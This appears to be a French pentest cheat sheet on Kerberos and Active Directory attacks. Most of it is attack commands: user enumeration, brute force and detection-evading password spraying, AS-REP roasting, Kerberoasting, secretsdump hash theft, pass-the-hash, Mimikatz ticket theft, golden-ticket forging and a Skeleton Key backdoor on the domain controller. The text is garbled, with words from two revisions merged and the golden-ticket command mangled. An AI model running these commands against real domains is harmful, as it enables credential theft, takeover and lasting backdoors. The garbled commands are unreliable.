Skip to main content

[Windows] Attaques Kerberos

Introduction

LaLes suitevulnérabilités impacketdu estprotocole Kerberos permettent d'attaquer un ensemble d'outil permettant des tests d'intrusion dans les domainesdomaine Active Directory etafin lesde partagesle réseaux.compromettre.

image.pngimage.png

Installation des outils

Suite Impacket

git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket && pip3 install -r /opt/impacket/requirements.txt && cd /opt/impacket/ && python3 ./setup.py install

Rubeus

Télécharger le binaire depuis le github officiel du projet :

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe

OutilsAttaques

Enum4LinuxEnumération du contrôleur de domaine

Permet d'obtenir des informations sur les contrôleurs de domaine :

enum4linux -U <DC_IP>

Kerbrute

Permet différentes attaques via le protocole Kerberos.

  • Énumération des utilisateurs :
kerbrute userenum --dc <DC_IP> -d <DOMAIN_FQDN> <WORDLIST>
  • Brute force surd'un uncompte utilisateur :

kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <USERNAME_LIST> <USERNAME>
  • Brute force sur plusieurs utilisateurs :

kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <PASSWORD_LIST>

Remarque : Le fichier de wordlist doit respecté le format USER:PASSWORD .

  • Password sprayspraying

    (

    Le password spraying est l'attaque inverse de l'attaque brute force, c'est à dire qu'un seul mot de passe sera essayé sur plusieurs utilisateurs)utilisateurs ce qui a pour objectif de ne pas être détecté par les solutions de sécurité :

kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <USERNAME_WORDLIST> <PASSWORD>

Voici comment faire du password spraying avec Rubeus plutôt qu'avec Kerbrute :

Rubeus.exe brute /password:<PASSWORD> /noticket

GetNPUsersASREPRoasting

PermetOn despeut attaquesprocéder avec ASREPRoastingGetNPUsers pour essayer de récupérer le hash NTML d'un utilisateur :

python GetNPUsers.py -dc-ip <DC_IP> <AD_NAME>/<USERNAME>

Ou avec Rubeus :

Rubeus.exe asreproast

Si l'attaque réussie, le hash sera affiché à l'écran.

On peut casser ce hash avec hashcat par exemple :

hashcat --hash-type 18200 --attack-mode 0 <HASH_FILE> <PASSWORD_LIST>

SMBClient

Permet de se connecter à unConnexion partage samba.

Samba
  • Lister les partages disponibles :
smbclient -U <USERNAME> -L "\\<IP>"
  • Accéder à un partage spécifique :
smbclient -U <USERNAME> "\\\<IP>\<SHARE>"

SecretsDumpRécupération des hashs lié à un compte

PermetL'outil secretsdump de la suite impacket ermet de récupérer tous les hashs des mots de passe du compte (ce qui est pratique notamment pour le compte backup) :

python secretsdump.py <AD_NAME>/<USERNAME>:<PASSWORD>@<DC_IP>

PassTheHash

  • EvilWinRM permet de réaliser des attaques PassTheHash :
evil-winrm -i <DC_IP> -u <USER> -H <HASH>
  • WMIExec est une alternative à EvilWinrRM :
python wmiexec.py <AD_NAME>/<USERNAME>@<DC_IP> -hashes <HASH>
  • Ou alors on peut aussi utiliser Metasploit :
msfconsole

use exploit/windows/smb/psexec
set RHOSTS <IP>
set SMBPass <LM:NTLM>
set SMBUser <Username>
run

Kerberoasting

Cette technique requiert un premier accès au domaine et consiste à récupérer le hash d'un compte de service afin d'essayer de le déchiffrer et ainsi pouvoir usurper l'identité du compte de service.

On peut lancer une telle attaque grâce à Rubeus qui se télécharge sur github :

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe

Une fois connecté dans le shell du compte de l'accès initial, on peut lancer une attaque kerberoasting deavec cette manièreRubeus :

Rubeus.exe kerberoast /outfile:hashes.txt

 Remarque : Tous les comptes de services seront ciblés si on ne spécifie pas l'option /user .

Ou alors avec le script GetUserSPNs de la suite Impacket :

sudo python3 GetUserSPNs.py controller.local/Machine1:<PASSWORD> -dc-ip <MACHINE_IP> -request

On peut ensuite essayer de casser le hash avec hashcat :

hashcat -m 13100 -a 0 <HASH_FILE> <WORDLIST>

Pass-the-ticket

Cette technique permet de récupérer tous les tickets TGT contenus dans la base LSASS, c'est à dire tous les tickets TGT qui ont été générés sur le poste local pour se connecter à des comptes utilisateurs.

Cela peut servir pour faire du pivoting ou même une escalade de privilège si un administrateur s'est connecté sur le poste.

Voici comment collecter l'ensemble des tickets TGT de la base LSASS avec Mimikatz :

privilege::debug
sekurlsa::tickets /export

On peut ensuite injecter un de ces ticket TGT :

kerberos::ptt <TGT_FILE>

On possède désormais les droits attribués à ce ticket.

Afficher les tickets et les clés chargés localement

La commande klist permet d'afficher les tickets chargés dans le système :

klist

Attaques par silver et golden tickets

Le silver ticket permet de créer un ticket TGS d'un service spécifique tandis que le golden ticket permet de créer un ticket TGS du service krbtgt.

Ce dernier est le compte de service du KDC et peut donc générer n'importe quel ticket de service, c'est le jackpot.

Voici comment forger son propre ticket (silver ou golden) avec mimikatz :

kerberos:Kerberos::golden /user:Administrator /domain:controller.local /sid:<DOMAIN_FQDNSID> /user:krbtgt:<RANDOM_USERTGT_FILE> /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /pttid:<ID>

Skeleton Key

Afin de mettre une backdoor sur le KDC, mimikatz met à disposition l'outil Skeleton qui permet de se connecter à n'importe quel utilisateur du domaine avec le mot de passe "mimikatz" sans changer le mot de passe des utilisateurs :

misc::skeleton

Et dans le shell :

net use \\<IP>\<SHARE> user:Administrator mimikatz